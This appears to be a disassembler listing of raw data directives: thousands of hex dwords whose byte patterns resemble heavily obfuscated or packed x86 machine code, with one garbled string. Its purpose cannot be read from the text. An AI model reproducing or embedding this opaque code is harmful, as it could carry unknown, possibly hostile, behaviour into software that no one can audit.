		dd 0F0815B5Eh, 36453C56h, 840F51F8h, 4,	3D0AB866h, 0C1816659h
		dd 870FD27Dh, 8, 2890Fh, 75B10000h, 93EE8166h, 0D18B669Bh
		dd 6E9h, 4A517300h, 8B815DBDh, 6E9CFh, 541D0000h, 73F6361h
		dd 0F98CB460h, 8F0F61h,	0E8000000h, 11h, 38083BDDh, 351DF811h
		dd 73485BA1h, 0DE9829FEh, 28BE6674h, 0E8FC5889h, 14h, 598889ABh
		dd 0CD304FACh, 0E83BFD01h, 0E5ED986Eh, 7BC33F5h, 5A5259FCh
		dd 2820Fh, 0E68A0000h, 8166DA8Bh, 8AC9B4E1h, 0CE8F7h, 0F27B0000h
		dd 37036C3Eh, 0E67CAC98h, 0BF0FBC35h, 66F85FD0h, 0FF2BE881h
		dd 0B773B3BBh, 0FBBF0F6Eh, 6E960h, 9D490000h, 0BA900ADh
		dd 0F5DE8161h, 0E82E267Dh, 0Fh,	9E457A1Ah, 227B1760h, 0E4376F0Eh
		dd 0BE3315EBh, 7E3CE718h, 0F18B65Ah, 7FBAF9BFh,	0E926AEA7h
		dd 0Fh,	0B474BD6Bh, 0E9C8E845h,	188692A4h, 66256463h, 8BDE4CBAh
		dd 0FA0B2D0h, 1181h, 8E800h, 0AC410000h, 8B8E717h, 0BF0F016Fh
		dd 0DB8058D9h, 820FF527h, 6, 0C9DECB81h, 890F11CEh, 3
		dd 57F88B66h, 0FAB86651h, 0F55E5B07h, 8D0Fh, 8B660000h
		dd 5830FCBh, 66000000h,	6669DF81h, 66D3C580h, 0F168C981h
		dd 7FF18153h, 597F496Eh, 66DD8A60h, 0FC61CB8Bh,	92BB66F9h
		dd 0B8DA8B56h, 4442970Eh, 60CE8B66h, 850F53h, 5E000000h
		dd 0ABF1BB66h, 58CF8061h, 0F8FCB80h, 6060F0BFh,	0B70F5950h
		dd 616061C6h, 0E9DF8B61h, 7, 0CE12C53Ch, 602BC0A5h, 14E9h
		dd 16C95900h, 2FA86AE9h, 0A8931748h, 847119BEh,	678E8C96h
		dd 37EA8008h, 0F9FB8B61h, 9E9h,	6E86D000h, 3EF4EE2Eh, 0E181787Eh
		dd 0D2CE94Dh, 0C810Fh, 860F0000h, 6, 830Fh, 840F0000h
		dd 1, 0B6D081F8h, 0F0D5A2Bh, 28Fh, 0BB5AB400h, 43E940DAh
		dd 12E9h, 0D2DECE00h, 87CD064Fh, 19471055h, 3D3AE378h
		dd 66AD59BBh, 0F48DEE81h, 8B66D68Bh, 18B0FDFh, 0FC000000h
		dd 34B72B8h, 0CB8B6620h, 6E9h, 75E3E900h, 0FB81A70h, 587h
		dd 4A67B800h, 0DF80549Eh, 0C7816613h, 0B9609FD9h, 4E877792h
		dd 4CE88166h, 0F606102h, 6061C1B7h, 0E9FEE280h,	0Ah, 89632BB7h
		dd 0CA067250h, 0B461957Ah, 14E855h, 48CE0000h, 7AD3F14Ch
		dd 421FCCE4h, 0A4676AFEh, 0C7B50980h, 6E83792h,	0F000000h
		dd 0CA0C8437h, 6E8B8h, 0BDBC0000h, 12C484AFh, 0F5F5F5Fh
		dd 383h, 0D78B6600h, 1810Fh, 0B5F80000h, 0CE8C9h, 38E70000h
		dd 0BDE33156h, 7D40E9BCh, 0C38BD612h, 0BBBDBF5Ah, 0F51586Eh
		dd 0F5EC0BFh, 188Dh, 10E800h, 21DF0000h, 0B84EFC13h, 0AEE5BC59h
		dd 0BEAFF76Ah, 61603ED6h, 58B0F5Eh, 0BE000000h,	64CF79AAh
		dd 97E38166h, 0CE6CBA20h, 9E92CBEh, 19000000h, 9B38527Fh
		dd 0D65A81FEh, 5FF0B352h, 0E8DFB70Fh, 0Fh, 3C8B8F9Eh, 0A456A54Ch
		dd 0A9147601h, 0F0FFA17h, 38Bh,	0FA8B6600h, 31EFBA58h
		dd 0BF663B08h, 14E94347h, 0D3000000h, 3C68768h,	0F2171111h
		dd 0B58C5342h, 0E426406Ch, 607ED9A8h, 0DE8h, 8E3B6B00h
		dd 942D3394h, 0C8D201E8h, 11E9EB93h, 0F2000000h, 0D5B22849h
		dd 25DEAB2Eh, 0DA52C1EEh, 19E9D7E8h, 8166505Eh,	597B0FF3h
		dd 0F15B261h, 0E960CEBFh, 0Bh, 46C19AA2h, 27777966h, 0F8589D82h
		dd 0E9CE8A61h, 0Dh, 6B20B14h, 75F0340Ah, 13FBF88Fh, 0C78B66FEh
		dd 7E960h, 0FF220000h, 13DCFAF2h, 16F181C9h, 613833D2h
		dd 168D0Fh, 8C0F0000h, 10h, 0AE8h, 0D3827500h, 55113F9Dh
		dd 5E24167Ah, 68BA6660h, 0DF8166EEh, 536107BDh,	0F381665Fh
		dd 840FCF7Dh, 3, 50D88B66h, 13E9h, 7CCFAA00h, 0CEA1FEBBh
		dd 5D8F80FAh, 10FABE6Bh, 625AF5F2h, 9E95Ah, 0F2D90000h
		dd 493370C4h, 0F0090AFh, 58Fh, 0EB3FBA00h, 0DE817321h
		dd 5E4B1FE4h, 0BE9F8h, 0E7510000h, 8E40C4C2h, 0A06A5193h
		dd 0C981668Ah, 0E9F548C1h, 0Dh,	8EB88D80h, 23A5833Bh, 1A6CA74Ah
		dd 5E93Ch, 0ED8F0000h, 0E96A82C2h, 6, 0BB0FE53Fh, 0DE8A7403h
		dd 11E9h, 64ACA000h, 0B9962B5Ch, 0BE4C9FDFh, 39203155h
		dd 57B27FC0h, 7E8h, 0EE01EC00h,	91FD8765h, 8C0F60h, 0E8000000h
		dd 14h,	0EC0373BBh, 9DA96A20h, 0D05DB4Dh, 1788873Ah, 0C789C0D3h
		dd 8158615Fh, 5FF027C7h, 0C88B663Fh, 0DE850h, 73FB0000h
		dd 8F1D3AC3h, 2BFD7110h, 6608F0F1h, 5A58C88Bh, 9393E681h
		dd 0BA660D7Ah, 0CE935BFh, 19000000h, 63264988h,	0B4DE589Ah
		dd 0FBA1337h, 0B866DAB7h, 8B66F0EBh, 0FE9C1h, 0A7710000h
		dd 8CE7AB9Dh, 0C18D2B89h, 0AA31FF77h, 3820FF8h,	0F000000h
		dd 8E8D1B7h, 25000000h,	0EB129031h, 66D242EBh, 5E2BD4B8h
		dd 0E8FC69B0h, 5, 0B2CCA95Bh, 820F51h, 5B000000h, 8A50D48Ah
		dd 8C0F5FE7h, 0
		dd 2F85D881h, 0E9FC58DDh, 5, 2E00FC6Dh,	0B2E88128h, 0B024F6EFh
		dd 0F0816680h, 8166420Bh, 0F84DCCEBh, 0FECE880h, 485h
		dd 0F7BB6600h, 3890F71h, 0F000000h, 86B3C8B7h, 80C18B66h
		dd 0D2818DD1h, 6094F163h, 7E960h, 1B510000h, 0AD07E373h
		dd 860F32h, 61000000h, 0B4D88B66h, 8B6660D3h, 0F28B66DEh
		dd 0CE9FC61h, 0A4000000h, 0C7B50980h, 0C3B13792h, 66293870h
		dd 82C7D881h, 0DD6CB966h, 0E91FA1BFh, 0EE972h, 1200000h
		dd 0EF0785DAh, 5AC35367h, 86DEDAA0h, 10E9h, 62B96300h
		dd 4A094F7Bh, 0EB1710C5h, 0A8AF51FEh, 0E96060FAh, 0Fh
		dd 0AF49A07h, 0FAD7A3AAh, 0BFCE4CCFh, 61E83E56h, 0CE8h
		dd 98410700h, 5E396686h, 0B7B5F995h, 6061587Bh,	2830Fh
		dd 81B10000h, 5E961h, 0B2D00000h, 0E816BD2Dh, 7, 0E419EB38h
		dd 0B2765565h, 800F5BB1h, 6, 0C597CE81h, 56F50B30h, 5850Fh
		dd 0FB90000h, 5F60F8F0h, 0FC28B66h, 48Fh, 1EBA6600h, 0EF8166E8h
		dd 9E9EDCDh, 46000000h,	2B0B9B13h, 0C2CEB977h, 800Fh, 8B660000h
		dd 666060FEh, 8B3B23BBh, 61B861D0h, 612AE51Eh, 5860FF8h
		dd 66000000h, 643AC981h, 0B7FFD280h, 4BB966A8h,	8820F44h
		dd 0F000000h, 289h, 66CE8A00h, 7CABDF81h, 0FCB8B66h, 9E9F7B7h
		dd 77000000h, 56BCD408h, 0B583CBADh, 203EBF52h,	0E958794Bh
		dd 9, 0DBD4E542h, 0BF8C7DA2h, 4820F04h,	66000000h, 6629D3BFh
		dd 509663B8h, 3850Fh, 8B660000h, 0E9525BC6h, 0Fh, 0DCB239C2h
		dd 0C5DF3F6Bh, 5EF4CED3h, 5B9416EAh, 8166C88Bh,	0E96A7EE0h
		dd 9, 76CB6A0Ah, 0B0E9CCEEh, 20EBBE09h,	0C8BB39F9h, 0E952FA6Ch
		dd 8, 3BE15A6Ah, 0D8BCD6FCh, 0D881F4BEh, 61FC602Dh, 0D1EF81F9h
		dd 53397DDDh, 5FFFBF0Fh, 0F1BACB8Bh, 6649D3F1h,	385DF381h
		dd 5E852h, 0B3280000h, 0FBA99B7h, 80h, 60595F00h, 8B66C78Bh
		dd 0F18161F1h, 7E0A064Fh, 0E9D78B66h, 14h, 69DADDB5h, 9ACFB8B4h
		dd 0B80286ACh, 0EC4A469Dh, 35C8B439h, 66E1B7F9h, 8B93ADBFh
		dd 66F88BD8h, 0BFB4DE8Bh, 6C27C681h, 0BF662BB2h, 8E0F49A3h
		dd 0
		dd 10E8h, 3D4E3B00h, 0C5EBEE7h,	0AD244384h, 0AA8684E1h
		dd 72C88077h, 0FE9605Fh, 0B000000h, 0EBFABB88h,	0B00F54D3h
		dd 43D28A3Fh, 0EAB1B89Ah, 8E961h, 958C0000h, 90E28FFFh
		dd 57F974FDh, 59FB8B66h, 0FF7B70Fh, 85h, 39DB8000h, 0C9816650h
		dd 605B0FFFh, 81F7B70Fh, 3C7BDBEFh, 53F5610Eh, 5BCAB70Fh
		dd 66FE8B66h, 0B72EB7BEh, 1FC78161h, 663FFF7Eh,	66D73EBEh
		dd 5CD8D681h, 0D4D98166h, 2EF78014h, 0A7B7F88Bh, 14A86BBEh
		dd 48BF6615h, 8BDE8A2Ah, 80F860D6h, 8161E7EBh, 0A0700AF0h
		dd 8D0F0Eh, 66000000h, 0E9B176B8h, 0Ah,	28FAA690h, 61A569CDh
		dd 0E9606EC2h, 11h, 0CAA931FCh,	50708B33h, 0E21DFFB3h
		dd 0DA7AC146h, 0D820F80h, 0E9000000h, 8, 0E9900E1Dh, 9C2668DCh
		dd 7EC88161h, 0F32B538h, 1687h,	8E86000h, 40000000h, 0FF579CB7h
		dd 5F94E8D1h, 0B29AEA81h, 0F5615384h, 7E9h, 3F6BDC00h
		dd 0CED3C5DFh, 8E9h, 0E8533E00h, 71AA30D6h, 0BFEFBB77h
		dd 0CA8A71F4h, 0D8816660h, 0B9612DA1h, 6A4CBC75h, 0C18B5656h
		dd 0F0B15F5Ah, 0E9C78B66h, 14h,	185E7218h, 0B20A4CCBh
		dd 4BD9FF8Fh, 5ED8012Eh, 0F65BF7E6h, 11E952F8h,	87000000h
		dd 5FFB749Ah, 4F1C5093h, 4A947720h, 144C7DE2h, 465CBB5Eh
		dd 8B667EB2h, 0CE9F5D9h, 2000000h, 0D99F92FFh, 35D583ABh
		dd 812C8FE9h, 5F8985DAh, 50B96629h, 0DEBE6653h,	3FDE8117h
		dd 66756865h, 602BE9BBh, 0F97E780h, 0BF61CEB7h,	5990E89Ch
		dd 0C18B6660h, 9E860h, 0FB750000h, 7B7E1FEh, 5FB8AA71h
		dd 8A0Fh, 61610000h, 860FFE8Bh,	2, 0F60DF8Bh, 382h, 0F9B70F00h
		dd 5EF08061h, 28C0Fh, 0C68A0000h, 2880F52h, 0B6000000h
		dd 6AB85B00h, 815B5887h, 0ACE616C1h, 0E870F49h,	0E9000000h
		dd 9, 634140FDh, 0A6044B5Fh, 8060F826h,	0C28B1AD2h, 0F1F38161h
		dd 80122A23h, 59BA62EDh, 0BA059335h, 7CD98D61h,	7E8h, 0E5FC4000h
		dd 68AA81EEh, 805FFB8Bh, 0D5B232C0h, 60D8B70Fh,	872BD881h
		dd 33BA3037h, 61384961h, 0FF18B66h, 0CA81DABFh,	7CEADC75h
		dd 10800Fh, 0BE90000h, 0A7000000h, 4CAD028h, 0E50B9D47h
		dd 0F60FE03h, 28Ah, 0FF28B00h, 0E961DABFh, 12h,	0A2D60AD8h
		dd 0D1DDE2EAh, 65A380BEh, 7A30867Ah, 8C0FA7A3h,	0
aNYxflS		db '©╜аYxf▀зИ',9,0
		align 4
		dd 22CA5E00h, 0CAA66087h, 0E080AA1Ah, 68D881B6h, 0B9724B73h
		dd 74807409h, 11E9D98Bh, 94000000h, 6D005109h, 3599186Ch
		dd 0E276E705h, 0DCA3E9F1h, 12E8h, 27DB7700h, 0CDCFE126h
		dd 0FF980036h, 0EBE16AA8h, 5E706450h, 16C5B860h, 800F36B6h
		dd 2, 0F61F18Bh, 1389h,	0EE900h, 0BA6B0000h, 210767A3h
		dd 377C6BABh, 381B886Bh, 168B0Fh, 11E90000h, 0CC000000h
		dd 0DFA98C07h, 0FA70950Fh, 9B593D2h, 0A035F250h, 3800Fh
		dd 0E8800000h, 7CCF80C1h, 14E9h, 0D447A500h, 0C747DE7Dh
		dd 0F4541A94h, 0C4CFE29Ch, 0DB40177Fh, 0E9C0B68Eh, 0Ah
		dd 1C197339h, 0B0024EA6h, 81668DE8h, 52FDACD2h,	8E8h, 1434CE00h
		dd 0ED52F287h, 4EB96667h, 8B5A5F1Bh, 8166F5C2h,	0E91FA5EEh
		dd 0Bh,	0E4CF8259h, 7CB9B5C3h, 0FAEF67Dh, 8Ch, 58B0F00h
		dd 66000000h, 0FCC7F281h, 6F38166h, 0AAB966BAh,	0BF5BB7DDh
		dd 1018235Fh, 0CE8h, 4A4A6C00h,	52302E58h, 0D342DD3h, 5E2CB473h
		dd 3CC08166h, 5860F2Eh,	0BB000000h, 4236A67Eh, 8BDFBF0Fh
		dd 0C2BF0FF9h, 1A7BE881h, 0B70F1EC9h, 0CB8B66DAh, 0E800Fh
		dd 9E90000h, 97000000h,	0D5C25EDCh, 925A457Eh, 863E46BAh
		dd 60F18B0Dh, 0CE9h, 80557700h,	0EBC4CB90h, 9C9F2F35h
		dd 0D6B866BFh, 8E0F614Fh, 5, 0C0DF06B8h, 0D8E28156h, 0E924CE68h
		dd 0Ch,	82FAC0CEh, 0C5855072h, 7B4A7FC1h, 5F6EB351h, 4518DB81h
		dd 815024DBh, 0A9EB8DCFh, 12E95B46h, 54000000h,	64D042B1h
		dd 480EC5F0h, 317FCE0Ch, 0F90C292Ah, 0CE9DEh, 19E90000h
		dd 4659C27Ah, 878A624Eh, 606074D8h, 8F0Fh, 5E80000h, 98000000h
		dd 0BC924DFh, 0E861615Bh, 12h, 0FD9CE5BAh, 5E0AD0E8h, 0B738FEA0h
		dd 49948C84h, 41B5D3CAh, 0F281F95Eh, 744C08D8h,	0E830F60h
		dd 0E9000000h, 9, 5927D4A1h, 83A3B6F1h,	0F98B660Dh, 0C28B6661h
		dd 5E8h, 91E0A00h, 5BF8E68Bh, 0FD67E381h, 7EBA3989h, 0E87578A0h
		dd 0Bh,	6AE328D0h, 9264FAEAh, 0F85F146h, 0B65AF7BFh, 0EFBF6663h
		dd 60F88BA3h, 0DE9h, 2B6600h, 0DE320947h, 9259F66Eh, 81663C69h
		dd 611F4CD3h, 14E9h, 0BD4FEF00h, 0EE6784F0h, 0B0889AF3h
		dd 0D7CC9CDEh, 0ECEC6F7Dh, 0B5FE8BFBh, 8D0FF7h,	0E9000000h
		dd 0Eh,	341B3413h, 0FF75E063h, 0D4DA76AFh, 0BA663406h
		dd 5E9BDD7h, 0E000000h,	0CA73D45Dh, 6DD2D4BAh, 0B8536031h
		dd 3C846877h, 48E0F5Fh,	66000000h, 61748CBFh, 0B70FFC60h
		dd 665761CAh, 0B55BF08Bh, 0B2BF6673h, 0BFC3B3F2h, 393847Eh
		dd 0DE8h, 0FDFD7B00h, 0DE95255Fh, 0D7F9076Fh, 0E2819B40h
		dd 299B6B4Bh, 0F0816658h, 0F681DAD0h, 6C55A130h, 0FE8h
		dd 1C609D00h, 0F0B87F7Fh, 15DF0FC9h, 0C28017BFh, 7E859h
		dd 0A6450000h, 6198F245h, 0AE9BFh, 0C8040000h, 5C3EE2E5h
		dd 0E22D6985h, 519BBB58h, 0B70F32A1h, 8DB966D8h, 66D68B64h
		dd 6D90C381h, 0AFADBF66h, 0C800Fh, 7E90000h, 26000000h
		dd 0C3A25966h, 0C28A551Bh, 66F3BF0Fh, 0CA05E381h, 0A3F78166h
		dd 0BEB4BF1Ah, 6051529Fh, 51D28166h, 515961EBh,	0E958D18Ah
		dd 5, 0F05D12FAh, 816660E4h, 6644EDD6h,	616753BAh, 17E98166h
		dd 14E86052h, 0E7000000h, 7430A050h, 2A43A2D9h,	0C2D9D453h
		dd 5EA07EB6h, 5FD66EFEh, 1890Fh, 61F90000h, 0A666D0BAh
		dd 0AE975h, 194A0000h, 8B2D4865h, 7350B09Ah, 786ABB66h
		dd 810Fh, 880F0000h, 19h, 14E9h, 7A697800h, 0E2E81FB2h
		dd 6DC55923h, 3B39FD1Fh, 79E9F754h, 0FB8B52A0h,	66D78B5Eh
		dd 80C66BBEh, 0AE946E9h, 0D4000000h, 6095FFFBh,	87B272E4h
		dd 0F3816670h, 0CB8B1AD7h, 5880Fh, 55B80000h, 8A5215C0h
		dd 0EE8166F5h, 0F281F3FCh, 4D9C6E49h, 28C0Fh, 0C38A0000h
		dd 14E8F98Ah, 37000000h, 8DEAEF34h, 9A90490Ah, 0A885B517h
		dd 0F85C6390h, 0F97069BEh, 0E781665Fh, 0D48A3664h, 860FE9B4h
		dd 2, 8166C28Bh, 60BA3FE2h, 6105E580h, 0BA66D88Ah, 0F5F54BA3h
		dd 8888BBFCh, 0AE91A0Eh, 0CD000000h, 5DC7F6A4h,	6B661813h
		dd 0E96160A9h, 0Ch, 9B3E5B3Fh, 0C189B2B4h, 0D93419DBh
		dd 5B4872BAh, 66D38B08h, 0BE3D39BFh, 62E1A1E6h,	0AE960h
		dd 0D94A0000h, 4FFCA228h, 0CA5BFB00h, 0C2EB5BBAh, 860F615Eh
		dd 16h,	11E9h, 47771900h, 9367AF16h, 0DBD0BFF8h, 0CCA76ABEh
		dd 81662B70h, 665DEFEAh, 0B70FF08Bh, 5870FF9h, 0BF000000h
		dd 6EB52A3Eh, 0DF81C28Ah, 6A59E165h, 66F18B66h,	66D6FBBEh
		dd 801A5EBAh, 81668DC1h, 0E84CE3D9h, 11h, 0D75D639Fh, 5D41F204h
		dd 991D343Dh, 0EC604D40h, 6E80Fh, 0C800000h, 64393C06h
		dd 880Fh, 5B5B0000h, 0BFEE8166h, 0D88B6666h, 11E9h, 0C0B32300h
		dd 2AFCBA9h, 8EDED207h,	0CB2FA141h, 0CB80EE85h,	8B6660E6h
		dd 615857F8h, 10E9h, 0B2CCA900h, 0E09DB51h, 818A0CC4h
		dd 0A859F2Eh, 9820FF1h,	60000000h, 15DE8166h, 61F0B416h
		dd 660FE380h, 66F165BAh, 9B76D781h, 5A4CEF81h, 0CE87D2Ah
		dd 7D000000h, 0F314708Fh, 0C58010D8h, 528FD21Eh, 0C302BE66h
		dd 0CE85E5Eh, 0F4000000h, 55721971h, 1915695Dh,	6622DE1Eh
		dd 5F2D54B9h, 0FD8BF0Fh, 180h, 14E8F800h, 29000000h, 9E5CC9EFh
		dd 2594A8F9h, 0A53B98FCh, 1053A66Bh, 819A70F5h,	3A2E5BE7h
		dd 81665E57h, 0F8FF8C2h, 168Eh,	11E900h, 0D63F0000h, 0B1553E8Dh
		dd 0BC37B711h, 5FE6362Bh, 0E9BB75D4h, 5, 0C5B4F4ACh, 0DB951DAh
		dd 5B6F2D3Ch, 14E8h, 29298100h,	6FA8AA41h, 80E8CDA1h, 0D479C5ADh
		dd 0A0AC1CBFh, 9BA6BE7Ch, 0FC5B43D3h, 5160F28Bh, 8E0Fh
		dd 81580000h, 0D5FB67DFh, 12E86177h, 72000000h,	0E1DD7211h
		dd 40F79554h, 37539BFBh, 4023FB68h, 0C38166F7h,	0B159567Bh
		dd 14E940h, 0B1B60000h,	652B610Ch, 0FC4550B2h, 307FC7B8h
		dd 24EF4E9Dh, 8166C059h, 0F2F53C9h, 1B9C1B7h, 0F1C7126h
		dd 810FDABFh, 4, 8B0DBF66h, 24E8F381h, 7E8107Ah, 7D000000h
		dd 0BC9E29BCh, 0E78118C0h, 12D5A73Bh, 88F0F58h,	0F000000h
		dd 28Fh, 0BBC28B00h, 11B9CEECh,	0CFE6BE66h, 21E18166h
		dd 0E9D08B47h, 0Ah, 3825D80Eh, 0DFBAEF84h, 2FB6B716h, 12E8h
		dd 4AECCD00h, 0CFB416CAh, 0A8A756E6h, 0A9FAD22h, 609B0CE3h
		dd 810Fh, 59610000h, 0FE8h, 15C0EF00h, 66CD7F3Ah, 468421F6h
		dd 0F0404683h, 12E958h,	9D90000h, 251C06ECh, 0BC073C74h
		dd 2415629Bh, 32BB000Fh, 0BE9h,	5911FB00h, 0B7E403ABh
		dd 0C7C93890h, 0DE952h,	0F4B60000h, 0C7BC7346h,	45F3EF73h
		dd 58D4BEBDh, 63C98166h, 0F7BF0FFCh, 0F5D08B66h, 44BBA4B5h
		dd 600DFECAh, 14E955B5h, 9C000000h, 59D35ECFh, 6D6B1A95h
		dd 6DE25A75h, 0C43E1A46h, 616EA6BCh, 0FE8B6651h, 39F78159h
		dd 66314989h, 0E9CAB7B9h, 11h, 32D61AEEh, 1BD232B5h, 0FB914BFAh
		dd 1F1C009Ah, 84B96692h, 0AE971h, 7D910000h, 7E178DF9h
		dd 59167917h, 0CBB70F60h, 9E857h, 68B60000h, 0FF735770h
		dd 5F13ACDDh, 0F281615Ah, 182EA3A3h, 3830Fh, 0BF0F0000h
		dd 0CABF0FC8h
		dd 0A2E78166h, 11E99Eh,	50300000h, 0C39D4F3h, 66832669h
		dd 0C498DFDCh, 0E87C1F66h, 0Bh,	608184DAh, 0F88672D0h
		dd 6029E138h, 8E9h, 0C278C200h,	0C8E56EDFh, 0DEBF0FFCh
		dd 9E95E61h, 0C000000h,	0FE015C1Ah, 95F33FAFh, 0F870Fh
		dd 0AE90000h, 1A000000h, 4FE9F5FBh, 5CE91017h, 0EE8166BEh
		dd 0B3FC3F94h, 11FABEA4h, 14E97E3Bh, 0E9000000h, 3F9A28E1h
		dd 20F059F4h, 2398544Eh, 0E9D5DFCFh, 0F4CD86Fh,	8B0FCEBFh
		dd 4, 5E616052h, 949BA66h, 7E860h, 0E0D90000h, 0B4C7A74Bh
		dd 6D28B80Eh, 815A566Ch, 1ADD46EAh, 880F6177h, 5, 24C78166h
		dd 0C810FE9h, 0E9000000h, 7, 37B66D52h,	80AA0DF5h, 0BF0F48EDh
		dd 0CF8B66F0h, 0E9CFBF0Fh, 0Ah,	0AFE915F9h, 0E59C6D30h
		dd 0FF5874Eh, 87h, 0E9815200h, 1F24E7E0h, 0B3CA8B5Ah, 0D2B70FB5h
		dd 68A0F51h, 81000000h,	0C2BB14D6h, 0BF0F583Fh,	0DC8A60DEh
		dd 402C21B8h, 0F88B616Bh, 0E9D9B70Fh, 14h, 0BCF3387Ah
		dd 8AF10547h, 7F76BAF4h, 8905CF29h, 828D5252h, 8C0Fh, 0BF0F0000h
		dd 0F68166D9h, 0CE8A0788h, 0EE9h, 0E7B40E00h, 13A5F3CFh
		dd 81E405E0h, 0FC3477C0h, 650BBB66h, 0EE8F9h, 2E320000h
		dd 5E85FB8Ah, 8F830589h, 0BB720FA6h, 53C2D681h,	0E9590CA2h
		dd 0Ah,	0D66222C7h, 8E99B38Ah, 0BF0F0C0Ah, 0D18166D1h
		dd 0B70FEE21h, 1180B9C6h, 7E94C56h, 0E4000000h,	0B16FB8D4h
		dd 8166726Bh, 0FEF59C7h, 584h, 561EBB00h, 880F5AE7h, 2
		dd 0B866F78Ah, 0F603D46h, 8166DAB7h, 618773DBh,	810F57h
		dd 5F000000h, 0E6BA6660h, 0F93FBAF0h, 60615FFEh, 12E9h
		dd 560B5800h, 50F18BF2h, 97184CAh, 92FBC934h, 0F930BC3h
		dd 18Bh, 8161FC00h, 0CCD282F2h,	0FFB26074h, 61FBBF0Fh
		dd 0CE8h, 2D4F5F00h, 87F9D778h,	796929C1h, 0EB816620h
		dd 0B35E18B9h, 7E96069h, 6F000000h, 673E8F0Bh, 0F281D638h
		dd 3B6B1FDEh, 0D6BF0F61h, 0C6BF0F60h, 61DF8B66h, 0FE0E480h
		dd 0E860FABFh, 7, 5D99704Ah, 0BA794085h, 27FFFA68h, 61ACB65Eh
		dd 7FBFC18Bh, 0E964FFA5h, 12h, 0AC70F745h, 1E462994h, 23345BEDh
		dd 0F02E184Bh, 0D08111AFh, 1E1E4789h, 0DE960h, 0BD220000h
		dd 1AAA4B25h, 23DA2F8Ah, 0F5DE391h, 686h, 890F00h, 61000000h
		dd 66F8D08Bh, 8B66F28Bh, 0E9D78BF2h, 13h, 0A681D230h, 10C2FB99h
		dd 91C2822Ah, 0C563C7ACh, 6646D29Fh, 81F9C18Bh,	0ABDB49DFh
		dd 0DFBF0F16h, 53F0BF0Fh, 6E95Bh, 159D0000h, 579E1275h
		dd 0E8DA8B66h, 6, 0E889CB83h, 60566ABCh, 66585961h, 7204E781h
		dd 0C890Fh, 8A0F0000h, 6, 810Fh, 8B660000h, 8D0F57FAh
		dd 3, 5BF0B70Fh, 0E9C68B60h, 0Fh, 308B73C3h, 2D774FC9h
		dd 6C4D94F0h, 61102EF8h, 0C5C38166h, 0CB8B669Ch, 8850FFCh
		dd 60000000h, 3886BFF5h, 56613247h, 5840F58h, 66000000h
		dd 71A4C881h, 56C18B66h, 5E9h, 82E8BF00h, 0F5EF908h, 0F57C9BFh
		dd 38Eh, 0FA8B6600h, 83B86658h,	2870FA2h, 8B000000h, 0AE953C7h
		dd 0D8000000h, 11222462h, 0C933F042h, 14E85A78h, 6E000000h
		dd 0A9D1EEF5h, 0BFA1F12Ah, 0D3D15803h, 61978FDAh, 80E0623Ch
		dd 605B4EEBh, 0B161DB81h, 0F611BB8h, 0B8Fh, 0CE816000h
		dd 207ED034h, 61CFBF0Fh, 9E9h, 0E90F0300h, 0F91047A1h
		dd 0F60369Ah, 588h, 0CE816600h,	8B665733h, 6E961C6h, 0A3000000h
		dd 0BDA7D144h, 0AA71B8D8h, 0BB6636B3h, 8166DC78h, 0F685AF2h
		dd 0BB57F3BFh, 43253D9Dh, 0D8B8665Fh, 810FF83Fh, 5, 880947BBh
		dd 48F0F14h, 66000000h,	8B7209B8h, 0E96056F8h, 14h, 0CE0FB28Ah
		dd 63F27E78h, 6218CF86h, 0B25D74E4h, 0F42F84F8h, 12E9h
		dd 0B5920D00h, 25910D92h, 2ED2F797h, 8B5E776Ah,	61BB4DFDh
		dd 0B966605Fh, 8D0FD7E2h, 2, 0E9616160h, 0Bh, 0E2EF9CEFh
		dd 58A74630h, 8ACE4165h, 6800FC7h, 81000000h, 418BD6D7h
		dd 43F78102h, 0E9605A37h, 7, 36A995CEh,	66683A44h, 6049EDBFh
		dd 0BAF2BF0Fh, 5BF1A070h, 33D88161h, 0E93D3F5Bh, 0Fh, 0BB74DA96h
		dd 0C3A37636h, 76B6CA6Ah, 0E8780D23h, 5, 9072C27Dh, 5B50606Dh
		dd 0BE665961h, 5E86425h, 0C5000000h, 647F5B2Eh,	8B5E5A50h
		dd 0F0BF0FC2h, 0EE8h, 2EDA9000h, 2BEBD2A2h, 0C2C2AD97h
		dd 5EB90B51h, 5E9h, 0BF575C00h,	0F88A9539h, 840Fh, 0E7800000h
		dd 6604B348h, 0E99501BFh, 10h, 522CC7CFh, 0E14DF3D7h, 3EAD5B24h
		dd 168D3EF5h, 0FF98B66h, 0F681DABFh, 3035C14Fh,	0BE9h
		dd 0E12C0C00h, 0F3E92115h, 83C4231Fh, 18E0F51h,	0FC000000h
		dd 0FEBF0F59h, 0E5BE6057h, 0F52EB258h, 0BE95B61h, 94000000h
		dd 1838897Bh, 0E0C92B55h, 8B66395Bh, 0F1BCBEDEh, 0C88B3CA0h
		dd 81B9E280h, 24E4EDC8h, 860F5Dh, 81000000h, 8BCE15F1h
		dd 63E68166h, 8172A0E0h, 2EB8B8D3h, 60FA8B43h, 0A5A2D181h
		dd 60610788h, 13E9h, 0EB3B7600h, 99D27832h, 9DACC74Fh
		dd 0D1411E52h, 2632A1BAh, 3CF2BB66h, 9E961h, 0DE670000h
		dd 0EFF48589h, 0FD3472Ah, 68Ah,	0F5D88100h, 0E94FA6F9h
		dd 12h,	28AFD17Ch, 0F14A7DA8h, 0BEF7F3C1h, 0CB3244EEh
		dd 11E9181Eh, 0CC000000h, 0CD110717h, 3E4F9AD8h, 24B89327h
		dd 8A1F0C0h, 8A916ABEh,	60C78B4Dh, 4830Fh, 0BB660000h
		dd 60610311h, 0D78B6660h, 8E9h,	3F4EED00h, 84A02498h, 0AE86117h
		dd 66000000h, 37C6439Eh, 0BBA26105h, 0D82EBA94h, 615A3851h
		dd 148F0Fh, 0FE90000h, 65000000h, 399DFDDBh, 58B39B1Bh
		dd 0BB279621h, 0BF0FEFBBh, 28E0FD2h, 8B000000h,	0BE9DFh
		dd 8FB90000h, 0A387FB7Ch, 0F103E622h, 8B0F60B8h, 0Ah, 5E9h
		dd 5E581A00h, 0E9568166h, 0Ch, 67AAD642h, 0BB62964h, 37B57944h
		dd 0E9526159h, 8, 0D1E50125h, 0FD06FFD6h, 0DB81665Fh, 0F52CC20h
		dd 605AD6BFh, 12B3F78Bh, 68F0F61h, 81000000h, 0E83B58D1h
		dd 0AC9EBA10h, 0E8F5436Eh, 12h,	0D988099Dh, 0D7FB2C9Eh
		dd 0E26888E2h, 44890FA3h, 8B66E5D7h, 0D2815FC2h, 588C9AE3h
		dd 0FCF8B66h, 581h, 0E1816600h,	0E953AD59h, 11h, 813EA10Eh
